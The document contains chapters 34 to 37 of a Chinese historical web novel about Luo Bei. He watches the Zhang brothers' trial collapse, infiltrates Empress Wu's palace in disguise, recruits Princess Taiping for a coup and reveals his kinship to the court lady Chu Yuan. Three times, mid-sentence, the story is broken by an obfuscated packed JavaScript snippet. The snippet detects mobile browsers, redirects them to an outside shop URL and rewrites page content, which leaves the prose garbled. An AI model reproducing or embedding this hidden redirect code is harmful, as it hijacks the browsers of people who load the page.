“称不上连累,我只觉得有趣,这样的冒险,天底下能碰上几回啊?”张孝嵩笑道,“不过,洛公子刚刚说,你待过塞外?塞外是个什么样的地方?” 34. 第 34 章 洛北和张孝嵩白话了半夜塞外,才各自睡下。洛北临睡前还在想张孝嵩说的话: “世人都喜欢京城喧闹,其实塞外广阔天地大有可为,我一直想去那里建功立业,可惜没有机会。” 这声音与郭元振临行嘱咐他的话倒是相似:“……凭借你的身份才情,边关才应该是你的翱翔之地……” 他思绪乱飞,入眠之时竟又做了那个梦,落雨的驿站,刀刃碰撞的声音,还有冷血的杀手。 等到他再惊醒之时,天光已经大亮。 褚沅已经起身,她重整过仪容,看上去依旧是平日那位优雅从容的紫袍女官。洛北躬身向她道礼:“褚女史。” 褚沅也起身道礼:“洛公子,还未谢过你昨夜救命之恩。” “倘若褚女史当真要谢,可否回答我两个问题?”洛北说。 褚沅点头,示意他但讲无妨。 “第一个问题是,昨夜去张府之前,你把金鱼袋给了曹珍娘,可见你已知此行凶险,既然如此,为什么还要去?”洛北问。 褚沅无奈地笑了:“因为我没有办法啊,洛公子……我把金鱼袋给珍娘,便是寄希望她能逃出去。留下一个人,便为日后重查此案留下一丝线索。” “一个杯子,当真有这么重要吗?”洛北忍不住问。 “杯子只是个死物。女皇看重的是底下人为她做事的心。在我的这个位置上,可不能丢掉女皇陛下的信任。否则和等死没有区别。” 褚沅说到此处,不由得抬眼看了他一眼,似乎想起昨晚马车中他的那番辩白:“我的前任便是因为未能及时揭发李重润、武延基和李仙蕙的谋反案被女皇处死的。” “当时,女皇已不再信任那些老成持重的女官,转而让最年轻的我前去监刑。我把毒酒端给她的时候,她一饮而尽,只留给我一句话:‘早晚,咱们都是一个下场。’” “可那明明是场冤案,天下人皆知的冤案。” “就是天下人皆知,只要女皇不这么认为,便不是冤案。”褚沅摇了摇头,“我猜公子还想问我,当时祆寺之外,为何要对你说关于二张兄弟的那番话。” 洛北点了点头:“我想以女史对女皇的了解,定能猜到今日的审讯会不了了之。你为什么要多此一举呢?” “因为天下人对女皇犹有期望。”褚沅很轻很轻地说,“可惜的是,那位英明神武的女皇陛下已经随着时间远去,再也不会回来了。” 这句话对宫中女史来说是大逆不道,洛北神色微动:“褚女史想说什么?” “没什么,接我的车驾来了,我要走了,多谢洛公子,我们有缘再会。” 洛北送别她和犹在梦中的曹珍娘,心中还在回响褚沅的话。他相信以褚沅的谨慎,绝不会无缘无故地和他这么说,她的身后一定有更强大而有力量的人物在支持她。 那是谁呢? 他来不及多想,便同刚起的张孝嵩一道来到了肃政台。 肃政台,原名御史台,是弹劾纠察,风闻奏事的御史们办公之地,素来以端正肃穆著称,今日却人头攒动,议论不休。 洛北略扫过一眼,甚至在人群里找到了几位归附已久的突厥贵胄,看来二张的案子天下皆知,在京的大小官员、王公贵胄之中多的是想看热闹的人。 宋璟头戴官帽,身着官服,自幕后到了台前,一拍惊堂木,台下顿时寂静下来。 他高喊:“升堂!带张昌宗!” 张昌宗被两个差役押了上来。他身上虽然没有绳索,但在肃政台的一晚确实也不太好过,清新淡雅的脸上也有了皱纹和眼圈,显出几分萎靡不振:“犯官张昌宗见过宋相公。” “张昌宗!许州平民柴明参你寻妖道相面,有谋反不臣之心,你可认罪?”宋璟喝问道。 张昌宗高喊:“宋相公!我冤枉呐!我召人相面是不假,但只是图一乐而已。当时那道士说我有天子相,我也吓了一跳,赶忙将他驱逐走,又将此事报于女皇陛下。这……这哪里称得上谋反不臣啊?” 宋璟早已知道刺杀自己的杀手是二张兄弟派来,听张昌宗这样狡辩更是气不打一出来,当即拍了一下惊堂木:“大胆张昌宗,当着本官还敢狡辩!给我重打他十大板!” 两边衙役正要去抓张昌宗,远处忽而传来一道女子声线:“圣上有旨,张昌宗之罪一概赦免!” 众人纷纷回头看去,那手捧女皇手敕而来的女子身披绯袍,额点梅花,风华绝代,正是权倾一时的内相上官婉儿。 宋璟哪肯这样罢休:“上官内相,我是在照圣上旨意审讯人犯!” “圣上旨意在此。”上官婉儿将手敕交到宋璟手上,笑吟吟地道:“难道宋相公想要抗旨不成?” 宋璟无奈,只得跪下双手接过手敕:“臣宋璟接旨。” 他接过旨意,犹自愤恨不平:确实,皇帝口含天宪高于一切,哪怕有天大之罪只要皇帝下诏赦免,有司定罪也不能执行。 可是这招有悖法理,若不是特别重要之人不会轻易用,然而女皇还是迈出这一步——谋反罪都可特赦,天下还有公理吗? 张昌宗谢过圣恩,忙躲到上官婉儿身后,随她一起走了。 宋璟气得拍案大骂:“早知如此何必推鞠,不如将他乱棍打死!” “宋相公慎言!”观审的桓彦范见状忙劝他一句,“宋相公忘了邵王和永泰郡主是怎么死的了吗?” 宋璟听到此话越发怒不可遏,回手指着桓彦范鼻子厉声质问:“你也配和我谈起邵王和永泰郡主!两位贵人死得那么惨,你我同列三法司,得此机会,就应当为国锄奸。你的胆气都哪去啦?!” 桓彦范被他这样一骂,也是满心委屈口不能言。他张了张口,还是道:“宋相公——” 同为观政的崔玄暐已经抢白:“宋相公刚直,我等自愧弗如……惭愧,惭愧。” “惭愧……惭愧……”桓彦范把话强忍了回去,无奈而退。 张孝嵩也叹了口气:“果然是这样不了了之,洛公子,你听我一句话,山不倒,花是不会败的!” 洛北只盯着那同跪在堂下的杀手看了半晌,听张孝嵩说话不过点点头:“是啊……” 当天晚上,道士李弘泰不明不白地死在狱中。为了这过于拙劣的杀人灭口,朝臣们以宋璟为首,又发起了一轮猛烈的弹劾。 女皇无奈,只得下令将杀手关大凌迟处死,以平息众怒。 行刑前夜,洛北提前和桓彦范打了招呼,特地使了些金银去牢中看望这位旧对手。那杀手死猪一般躺在地上,想是已经知道命运,不再多做挣扎。 “我想你大概不记得我了。”洛北替他倒了半碗酒,“我一开始也没有认出你来。” 那人有些惊讶地坐起来,仔细打量了一眼洛北,但什么都没有想起来,脸上还是一副困惑的神色,只摸索着地上的酒碗喝了一口,脸上露出满意神色。 “酒中有人参,可以保你神志清明地挨到一千多刀。” 洛北将剩下的酒都浇在地上,声音冰冷:“到了那个时候,如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281656|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你还有意识,便记住我的这句话——” “二十年前洛水驿站里的冤魂,来找你索命了!” 那杀手这才认出他那双琥珀色的眼眸:“你……你是褚家的……” 他被割了舌头,一个字也发不清楚,洛北把他丢在地上,大步迈出了牢房。 泛蓝的天际里,一轮圆圆的日头正在悄然上升。裴伷先等在牢房外的马车边:“公子要做的事情做完了?” “是,结束了。” 数日之后便是新年,朝中各部都封了笔。王翰、裴伷先和张孝嵩也各自与家人过年。洛北闲居无事,便翻一翻书,或独自去洛河边跑马射箭。雪花飞舞,竟是他这些年从未有过的松泛日子。 这种悠然之中隐藏着一股不安。国都从长安迁回洛阳已经一年,这一年中朝廷再没有颁布变更制度的法令,世人皆知女皇老迈倦政,却不肯依照惯例让太子监国。 洛阳城中暗流涌动,所有人都在等待皇位的最终归属。 便是在这样一种气氛中,姚崇带着武延秀和慕容曦光回到了洛阳。 洛北能在张柬之麾下做事,一多半还是姚崇举荐的功劳。他不敢怠慢,当即登门拜访,岂料家人禀报,说姚相公去了白马寺给恩师狄公扫墓。 洛北便去了白马寺。禅房路径幽深,这回是白马寺的方丈亲自把他领到了禅房前:“房中有贵人在,贫僧不便打扰,还请公子自便。” “大师客气了。”洛北停在门外,正听到房中姚崇和张柬之在激烈地争论什么。 “倘若我知道他是狄公的子侄,就不会让他参与进这个计划!”张柬之声音老迈,带有一股气度,“你和我同为狄公门生,当年他去世之时如何嘱咐我们的你都忘了吗?” 姚崇不甘示弱:“是,狄公是叫我们好好照拂他,但张相公不要忘了,兴复李唐才是狄公一生所愿!如今万事俱备,只欠东风,莫说是牺牲他一个人,就是牺牲你我,也在所不辞!” “不管怎么说,这件事情我绝不同意。”张柬之道,“你怎么能任用狄公子侄行此阴私之事?间谍之道最为凶险,你让他潜入宫中,你……” “张相公,我任用他,并非因为他是狄公的子侄……你有所不知,阿彧身在凉州之事,做了郭元振的幕僚,凉州突厥的情报,由他独立运作支撑,这些年,关河宁静,多少是有赖他的功劳。” “他既然有大功于社稷,就应该恢复他的名字和身份,让他入朝协助我等。”张柬之沉吟片刻:“我这便飞书一封给郭元振,说他是狄公的族亲,受你命令在军中历练。如今要回朝为官,你我保举他一个尚书员外郎,还是不成问题。” “可若是他也入朝,这件事情又有谁能办成?”姚崇叹道,“不是我非要为难狄公的子侄,而是此事非得勇毅智慧之人为之。除他之外,不做第二人想。” “你当我不知道你的心思?!你任用他去行此手段,便是想着,一旦他阴潜宫中的事情传出去,总不至于牵连你我,是不是?狄公对你我有知遇之恩,你怎么能如此对他?” “张相公!你这么说可是折煞我了。他是狄公的子侄,我看着这孩子长大,难道我不知道心疼?” 张柬之不欲与姚崇争辩,一把拉开禅房大门要走,却看到洛北讪讪立在门外,进也不是,退也不是。 张柬之长叹一声,道:“你都听到了?” “是……”洛北点了点头,假装自己不知道那番关于狄公子侄的争论:“张相公,姚相公,两位到底遇到了什么难事?” 35. 第 35 章 张柬之似乎猜到他会有此一问,只得叹了一声,叫他进禅房详谈。 姚崇见到他来,也没有惊讶,开门见山:“洛北,你可知道,女皇陛下已经有多少天没有见外臣了吗?” 他这话只是个引子,洛北心知肚明地配合他演戏:“属下不知道。” “自节前到节后,已有数月了。近日到了开笔的时候,女皇也称病,不愿出来主持朝会。我们这班大臣的求见一概拒之门外就不说了,连我们上书要求太子和相王侍疾,她也不肯。” 姚崇摇了摇头:“此刻,她的身边只有二张兄弟。我和张相公担心的是,一旦女皇山陵崩,二张兄弟自知没有出路,恐怕会封锁内外,矫诏不发,到时候......扶苏的悲剧,炀帝的往事恐怕又要上演。” 张柬之应道:“不错,节前由宋璟领头,朝中大臣风闻上奏,想让圣上远离二张。圣上不仅不肯,还特下手敕,免了他们的罪,看来,正常的手段已经无法扳动二张。如今我们只剩下一条路,率领禁军入宫,诛杀二张,迎太子继位,中兴李唐!” 图穷匕见。 洛北垂手静听,知道他们已经决心发动宫变,也不多问:“张相公和姚相公需要我做什么?” “左羽林大将军李多祚、将军李湛、右羽林将军杨元琰、南衙的薛思行、赵承恩、王同皎等,都是我们的同道。右羽林军大将军武攸宜虽然是武氏子弟,也答应我们,会袖手旁观。” 张柬之这是历数了一遍禁军诸将,说到武攸宜时,洛北不由得一惊,看来武延基的死,确实在武氏子孙和女皇之间落下了一道重重的伤痕。 姚崇没有给他太多思考的机会,只接过话来:“新任洛州长史薛季昶也是张相公举荐,宫变一动,他会弹压一切异动,严守城防,确保洛阳在我们的掌控之下。如今唯一缺少的,就是宫内的消息。” “明白了。”洛北点了点头,“两位相公希望我潜入宫中,探询宫中的关卡?” “不错。”姚崇想了一想,还是伸手在他肩上拍了一下:“等到此事做成,你立刻离开洛阳。之后的事情,便交给我们。倘若功成,我会找宋相公联名上奏,保你入朝。倘若失败......” 姚崇这话是恩威并用,洛北不由得起了一点复杂的心绪:“姚相公放心。但愿天佑李唐,我此行能够功成。倘若不成,我愿以宝刀自刎谢罪,绝不连累两位相公。” 张柬之和姚崇都听得出他说这话时的心绪涌动,姚崇一时尴尬在那里,张柬之也是一黯。 洛北反而笑了一声:“两位相公,行此大事,迟则生变。三日之内,我必有回音。告辞!” 他拱手而去。出了白马寺,就进了那里正胡四的家。胡四正同几个人在吃汤面,见到他来,要给他让座:“洛公子怎么来了?” “我有件事情,想要托你帮忙。”洛北也不同他客套:“我想进图雅小姐的戏团打个杂。不知可否请胡四哥代为引荐?” 胡四想了想:“虽说我帮公子舍出这张脸去是无妨,只是图雅小姐的性子公子也知道,总要有个缘由才符合她的规矩。” 洛北已经编造好了理由,张口就来:“我同你胡四哥是一样相思病症。” 胡四哈哈大笑:“洛公子少年英才,有些风流也是正常,不知道是哪位宫中的贵人?” 洛北推脱道:“女孩家的名节要紧,我还是不说了吧。我只求远远地看一眼,不求其他。” 胡四锤了一下他的肩头:“公子是同道中人啊,这件事情包在我身上!” 图雅小姐听了缘由,又把洛北上上下下地打量一番:“……虽说这点真挚的喜爱之心,甚为可嘉,我也不是不想帮忙,但洛公子的才具风度,扎根在我们戏班子里总是奇怪。” 胡四一拍大腿:“图雅小姐说得对!怪道人人都说小姐冰雪聪明……” 他在那里大献殷勤,图雅小姐只笑一声:“怎么,没别的词儿了?” 胡四一时怔住。倒给了洛北开口的时间:“我倒是可以改头换面,只是不知道图雅小姐的班子里可有人会说突厥话?” “这倒是巧了,我游历西域的时候,就雇佣了几个突厥武士来保护。”图雅小姐道,“团里还有两个年轻的西突厥小伙子呢。” 突厥人常常受各方雇佣,作为武士保护商队、戏班和各路行人往来丝路之上,图雅的戏班子雇佣几个突厥人也实属常见。 洛北点了点头:“既然如此,明天会有个年轻的突厥武士来敲响小姐的院门,小姐到时候给他些活干就行。” 次日清晨,图雅小姐如约打开院门,院墙外有个年轻的突厥人正在睡觉。 这人将一件厚实的粗布皮袍裹在身上,遮住头脸,额上戴着一条粗皮绳的发带,两边长发结成发辫,散在肩上。 图雅蹲下身,重重地拍他一下。那突厥武士从睡梦中惊醒,用突厥话嘟嘟囔囔地抱怨:“谁在这个时候打扰我?”一边睁开眼,对图雅轻轻一笑:“图雅小姐。是我啊。” 图雅这才把眼前这个不修边幅的突厥武士同昨天那个温文尔雅的洛公子联系起来:“你,洛......” 洛北直起一根手指放在唇边,依旧用突厥语回答她:“我叫乌特,听不懂汉话。我是来找活干的,不知道图雅小姐有没有活给我做?” “有的有的。”图雅点了点头,一边用突厥语回答他,一边进院子叫她那两个突厥护卫:“来!你们俩带着他,去干点杂事儿。今天起,这小子就跟着我们戏团了。” 那两个突厥武士各自过来和洛北打了招呼,听他自称是北庭来的西突厥人,不由得长吁短叹地羡慕几句: 自从兴昔亡可汗阿史那献就任北庭都护,北庭的突厥人日子是越过越红火了,他们也想把家搬迁到内地来。可惜没有银钱,只能多跑几趟丝绸之路攒点身家。 洛北应和他们几句讨生活实在是难的话。图雅小姐已经走过来喝道:“好好的干活,不要就想着聊天的事情。明日出了宫,得了女皇陛下的赏钱,你们去酒肆里尽情地聊。” 那几个突厥武士只得各自低头干活。洛北学着他们的样子,把手边的几个头面手镯都用手帕擦得亮亮的,将破烂的道具修缮一新。 他是个学过医的人,手上的准度比旁人更准,倒是将几个细巧的机关修缮得很清楚。 那变戏法的波斯人见了,心生欢喜,和图雅道:“难得小姐雇了个好帮手,不如把他多留些日子。叫他和咱们一道去各地演出。” 图雅小姐只笑笑,也不答他,心里却想:叫这位大商人的朋友同他们一道颠沛流离?这波斯人真是老糊涂了! 翌日就是进宫的日子。天不亮,一行人便进了宫。几个武士都把刀剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281657|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丢在宫外,洛北嫌自己腰间太空,挂了那把他从沙漠古城里捡到的玉笛。 行到天亮,他们才看到那石拱门及汉白玉雕刻的拱桥。几个内侍出来,将他们引过拱桥,禁军打开沉重的宫门,将他们放了进去。 此处便是宫禁所在。洛北四下张望一番,暗自将各处岗哨记在心里。那从旁护送的禁军军官便是一喝:“不想要脑袋了?!随意乱看!” 洛北佯装不懂汉话,只缩了缩透,不再动作。他们在外间穿梭,走过数道宫门,挨了数次盘查,才将将来到宫禁之前,这里的拱桥只有三尺来宽,雕花精美的栏杆上镀有纯金。桥对面立着一堵白色高墙,只开有一扇小门,上方可见铺有琉璃瓦的飞檐。 一位宫中女官立在桥头:“可是图雅小姐的戏团来了?” 图雅小姐慌忙叫众人行礼,道这是宫中司乐,是负责一应演出的女官。 司乐走下桥来,审视众人一番,目光落在了走在最后的三个突厥武士身上:“这三个外男不准入内。” 图雅小姐忙道:“司乐姑娘,可否能放一个过去,我们这些东西笨重得很,又不能轻易落地上,不好搬的。” 司乐有些不耐烦:“急什么,这些东西自有宫人来帮忙。” 图雅只得回身,转而用突厥话对三人道:“宫中规矩严,你们三个就在这儿等吧。” 洛北哪能甘心真的留在宫外,闻言忙对图雅用突厥语道:“小姐,你不是叫我去给贵人们吹笛子吗?” 图雅这才注意到他腰间还挂着笛子,当机立断:“正是,正是,是我忙昏了头。”她又几步到司乐跟前:“这有个小子是我们的乐师,可否叫他和我们一道进去。” “既然是乐师,就罢了。”司乐摆了摆手,示意他们跟在自己身后。 迎仙宫中处处帘幔低垂,先迎上来的是一对粉雕玉砌的俊俏郎君,正是那张氏兄弟。 洛北见了张易之,不免把头略低下些,免得他认出来自己。 “西域歌舞,这些日子都看烦了。”张昌宗吩咐道,“把那几个戏法和几个清净有趣的节目演上一遍吧。” 司乐和图雅都诺诺称是。只把几个戏法变了一遍。那波斯人经验老道,变鱼缸变鸽子都是手到擒来,只是大殿上无人应声,他也就僵在那里。 “这个戏法倒还有趣。”重重帘幔之中,传来女皇低哑的声音,“赏。” 波斯人和图雅忙低头谢恩,不一会儿便有女官端着一盘金银走了出来。波斯人双手接过了,又再三歌颂女皇陛下的天恩。 洛北抬头看去,目光与那女官在空中一碰——竟是褚沅。他立刻收回目光不敢再看,只同其他人一起低身跪倒,高呼万岁。 女皇说:“其他的都不要演了,听说还有个吹笛手,吹些曲子来听听吧,不要吹那些舞曲,朕都听腻了。” 图雅紧张起来,要知道,大殿演出和寻常玩闹不同,万一吹错或是吹破,都是会掉脑袋的,她佯作镇定,走到洛北跟前:“既然这样,乌特,你吹个你擅长的。” 洛北一时也想不到什么曲子,他横笛在唇边,吹奏的依旧是那首《敕勒歌》。 这一曲呜呜咽咽,袅袅悠悠,听者无不感觉自己已然置身草原,亲眼见到那片天地苍茫壮阔,风吹草低的景象。 一曲毕了,帘幔处传来一声悠长的叹息。 36. 第 36 章 众人一时不知其意,只得各自跪倒请罪。女皇却叫人把幔帐捞起,露出一张疲惫的女子面容:“你刚刚所吹的,可是《敕勒歌》?” 洛北佯作不解其意,只望向图雅。 “陛下。”褚沅只得开口向女皇禀报:“此人听不懂汉话。可否叫图雅小姐代为翻译?” 女皇摆了摆手,示意图雅照做。 “是。”洛北点了点头,用突厥语道:“这是我家乡草原上一首流传很久的民歌。” 女皇轻轻笑了,示意褚沅扶起自己,又对他道:“你走上前来。” 洛北听了图雅的翻译,依言上前。 女皇盯着他看了一会儿,伸手摸了摸他的脸,洛北手足无措,也不敢动作,只有立在那里垂眸盯着地面。他生得极俊朗,却难得这样困窘,涨红脸时,竟显出一点动人。 “倒是个俊俏孩子。若是叫我调教一番,恐怕不比你们两个差。”女皇笑道。 二张一听,还以为来了抢生意的,当场就急了。他们一左一右地围到女皇身边:“陛下难道厌弃我们了?” 女皇揉揉他们脸颊:“朕只是想起了高欢的故事。当年高欢兵败玉璧城下,斛律金为他高唱的便是此歌。” 二张一时怔在当场。 洛北听出这位女皇的遗憾和怅然,但他不能表露,只能站在那里,依旧盯着地面。 “高欢去世之前,天空出现了日食。高欢说:‘日食出现是为了预兆我的死亡吗?如果是这样,我死了又有什么遗憾呢?’”女皇低声叹道:“不知道朕去世的时候,是否会有异象发生呢?” 她有触于心,禁不住堕下泪来。二张兄弟慌忙围上去拭她的眼泪。 女皇已从褚沅手中接过了一方手帕:“吹的好,吹的好啊,赏。赏你黄金五十两,牛羊百匹——早日回草原去吧。” 洛北怔在那里,一时不解其意。褚沅却忙拉了他一把,示意他低头谢恩。 他只得跪倒在地,用半生不熟的汉话说:“女皇.....万岁。” “人是不能万寿无疆的。”女皇道,“你们都去吧。让朕休息会儿。” 从宫中退出来的时候,洛北才发现自己已是汗湿重衣。他应付过一干来道贺的戏团中人,又与突厥武士们约了晚间喝酒的安排,才在自己的房间里长出一口气。 图雅敲了敲他的门,依旧是用突厥语和他对话:“我知道你喜欢的是谁了。” 洛北都没有想到这一茬,看她脸上兴奋模样,只得追问:“是谁?” “褚女史。是不是?”图雅道。 洛北顿觉荒谬,连连否认,图雅却在他耳边絮絮叨叨些什么“若不是你心虚,你的眼睛为什么不敢看她。”一类的话。直到洛北终于忍无可忍,将她请了出去。 夜晚来临的时候,洛北已同几个突厥武士坐在了城中突厥人开的酒肆里。 那两个突厥武士替他引荐一批又一批同在洛阳讨生活的突厥人,洛北也不含糊,大手一挥,叫店家今夜尽管把好酒都端上来,这场子他包了。 “兄弟果然豪气,请喝我一杯。”一个突厥武士带着人来向洛北敬酒。洛北来者不拒,一杯一杯地都喝了,又让店家奏起乐曲:“今天高兴,把舞曲奏起来。” 竹笛琵琶手鼓声一起响了起来,一个个突厥武士站起来,随着鼓点下了中间的空场,跳起舞来。这舞蹈似乎不讲究柔软,只是踏步旋身,挥舞手臂,时而急促,时而缓和,如草原骏马奔腾,雄鹰飞舞。 洛北被这股豪情感染,不由得也加入了人群之中,与众人手挽手跳起舞来。他才跳了一圈,就注意到有人站在楼下向这边张望,他当即旋身退出人群,丢出两锭金子在店家桌上,自己走了出去。 那人倒是没想到他来的如此之快,想避此刻也避不开了,只得往后退了半步,正撞上他那双如燃金般璀璨的琥珀眼眸。 “这个地方鱼龙混杂,实在不是褚女史该来的地方。” “我是来传话的。”褚沅轻轻一笑,似乎终于知道自己的判断没错:“有人想见你。洛公子可愿前去相见?” 洛北摊开双手:“我自然乐意,只是如果要见贵人,我这身衣裳恐怕不合适。” 褚沅点亮手中的风灯,闻言嫣然一笑:“有时候,我真会觉得公子有看破一切的本事。放心吧,衣裳已经给公子备下了。” 他们走到一处僻静的河港,一只乌篷船泊在港口等待。褚沅与船工点头示意,又将灯放在船头,自己坐在一边,船工随即一篙撑向河岸,将船向远处划去。 篷下的桌上有一件华贵而干净的忍冬纹灰蓝圆领锦袍和金色的发带。洛北将身上的外套换下,又将发带重新束在额头上,水面上浮现出一位年轻的突厥贵胄的模样。 小船不知漂去多远,终于停在一处华贵的宫室前。褚沅依旧先下了船,在前面替洛北引路。宫中侍女和仆下都对她十分恭敬,称她一句:“褚女史。” 洛北心下已有计较,随她走入偏殿之中,纱幔纷飞之间,两个年纪相当的女子正在殿上下棋,绯袍的是他见过的内相上官婉儿,另外一位女子满头珠翠,雍容华贵,正在看着他。 他轻轻呼了口气,低身行礼:“微臣洛北见过太平公主殿下——” “你这小子,倒比我想的乖觉。”太平公主道,“这次朝臣们所奏的二张谋反案,你在其中出力甚多啊。” 她这话听不出好恶,洛北不敢贸然回答,只低头道:“微臣不过是受桓少卿的嘱托行事。” “与其说桓彦范的嘱托,不如说是姚崇、张柬之的嘱托吧。”太平公主冷笑一声,“你一个凉州城的参军,哪里有机会认得桓彦范。倒是姚崇外放去了灵武道,还在凉州定了新的吐谷浑首领。想来,他就是在那里认识你的吧。” 太平公主对朝政的掌握详细得出乎洛北意料。他只得点头称是。 “洛公子,朝臣们为什么会觉得母皇不会传位太子?”太平公主伸手支起下颌,试探性地问道,“他们难道不知道,母皇已是八十岁的人了,袒护二张,不过是她的一点任性罢了。” 洛北不确定她的意思,只低头不答。 太平公主笑了一声:“洛公子但讲无妨,便是本宫想找人参你一个因言获罪,宰辅们也不会同意的,不是吗?” 洛北便也轻轻一笑:“倘若公主真的想问,微臣就斗胆一答。是因为猜忌。” “猜忌?”太平公主摆出感兴趣的样子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281658|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛北道:“不错,主疑臣则诛,臣疑主则反。朝臣们或许并不觉得女皇陛下会传位二张。但倘若女皇陛下崩逝,二张密不发丧,封闭内外,一道矫诏赐死太子,太子是遵还是不遵?到时候武李两家又当如何?更何况……赐死邵王李重润、魏王魏延基和永泰郡主李仙蕙的往事仍在眼前,朝臣们不敢拿李唐正朔去赌。” “哈,那逼宫造反便不是赌了?”太平公主道。 洛北没有回答,只抬头看向太平公主:“只要公主愿意出手相助,便可让最后一块拼图完整。” 太平公主走下台阶,来到他面前:“哦?你又如何觉得本宫会参与呢?”她是武家的媳妇、李家的女儿,哪边赢了都会对她善加礼遇。 “为了中兴李唐,也为了武家不被族灭。”洛北凛然道。 “这是什么说法,本宫愿闻其详。” “我就说一件事情吧。公主殿下可能知道,女皇登基数年以来,一直想让武家人执掌军旅,可是她屡次对外用兵,都是胜少败多。唯独一个王孝杰还算有几分功勋,也已经葬身黄沙。” 洛北朗声道:“宫中禁军多是高宗时期的旧人,塞外的边军更是思归李唐——倘若武李两家真的打起内战,李家奉太子相王为正朔,便有了朝廷大义,武家会是对手吗?” 太平公主露出沉思神色:“唔……” “一旦李唐以这样血淋淋的方式再次登位,为了彰显自身正统,他们只能照搬当年的女皇对待李家的方式——族诛武氏。”洛北沉声道,“更何况,内战之时,生灵涂炭,百姓遭殃,想以公主的□□,定然不忍见到此事成真。” 太平公主抚掌笑道:“好一个能说会道的少年人。这样一说,这逼宫造反的事情,本宫是不干也得干了。” 她看向在一边沉思的上官婉儿:“婉儿,你这一子,也该落子了。” 上官婉儿苦笑一声,丢开手边棋子,问洛北道:“张柬之等之所以要你进宫,便是为了探听宫中关卡地图吧?” “是。”洛北坦然承认。 “好。你将此物拿走,记住,看完之后立刻烧掉。一旦你们和公主定了动手之日,我会保证宫中消息不会泄露。” 太平公主见她同意,不由得一笑道:“洛北,你回去告诉张柬之,本宫明日会前往城东道观上香,叫他辰时三刻到来。本宫有要事同他相商。” 洛北低头称是,知道太平公主和张柬之是要商定一个动手时间。他接过地图,退出了殿外。 褚沅跟在他身后,一道出了宫殿,依旧是来到船港,这次她却和船工耳语几句,将船工留在岸上,自己撑船,离开了宫殿。 小船飘荡在洛水上,船上只留下洛北和褚沅两人,月光如水一般落在地上,被船桨一扬,便留下一地破碎银光。 洛北看褚沅一桨一桨划得吃力,干脆从她手中接过船桨:“褚女史,我来吧。” 褚沅也不同他争,只把船桨递给他,自己坐在船边看风灯摇曳,灯火明灭。忽而,她开口道:“洛公子问了我那么多问题,我可否也问你一个问题?” 洛北停住划船的手,坐到她身侧:“褚女史请讲。” “我总觉得,你似乎对我特别好,为什么?” 37. 第 37 章 洛北一时沉默,似乎不知道该怎么答话。 “图雅小姐说,你心悦于我。公子看我的眼神,并无半分男女之情。”褚沅轻轻一笑:“但公子为我矫诏欺骗张易之却是真的……你为什么要那么做?” 洛北轻轻叹了口气:“褚女史,我给你讲个故事吧。” “说曾经有这么一位世家闺秀,自幼与前朝宰相的子孙定下婚约,却在未出嫁前与一位异族可汗的子弟有了私情,后来此情不了了之,她嫁入宰相家,不到一年,便有长子呱呱坠地。 后来风云变幻,宰相家的子孙参与谋反流放岭南,那孩子仍在襁褓之中,也一道随行。为了救那孩子性命,这个做母亲的便谎称自己嫁人之前珠胎暗结,求异族可汗的子弟去救孩子性命,自己只留给孩子一封信,便因罪没入宫廷。” 洛北语调平和,褚沅却听出一丝异样,她转过头去打量洛北,只见他神色平静,什么表情也没有,就好像真的在讲别人的事。 “那位异族可汗的子弟自屠刀之下救了这孩子。他让这孩子随他游历四方,教他异族的语言和文字,给他讲异族的祖先渡海而来的故事,却不让他叫自己父亲。 这孩子再大一些,这位异族可汗的子弟也受酷吏构陷入狱,他将这孩子托付给自己刚刚出狱,即将离开京城的谪官好友。孩子随着谪官去了其他地方,却在那里找到了当年构陷父亲的仇人之一。黑暗之中,那位谪官握住了他复仇的手。” 此刻月亮藏入云端,四周黑暗,唯有一点烛火可以照亮。洛北半个身子都隐入黑暗之中,褚沅看着他,似乎能看到当年黑暗里的那个孩子。 “又后来,谪官复起,入朝当了宰相,把这孩子称作自家子侄,带入朝中。 再后来,宰相出征塞外,那孩子随行而去,却在途中为敌所掳,他不愿为帅的宰相受制于敌,便说自己是异族可汗的族人。” 说到这里,洛北顿了一顿,似乎是要把自己从旧日回忆里拉出来: “后来的事情知道的人就多了,这孩子做了异族可汗的谋主,为他出谋划策,暗地里却为故乡传递情报,终有一日鸟尽弓藏,他九死一生,逃出生天。” 褚沅苦笑了一声:“公子,你还未说,那位出身世家闺秀的母亲后来如何了?” 洛北转头看她,唇角微微上扬,似乎在笑她明知故问:“后来吗?后来她没入宫中,生下一个女孩儿。” 褚沅低下头去,神色恍惚:“洛公子……你告诉我这些,是想告诉我,你是我的兄长?我,我如何能相信……” 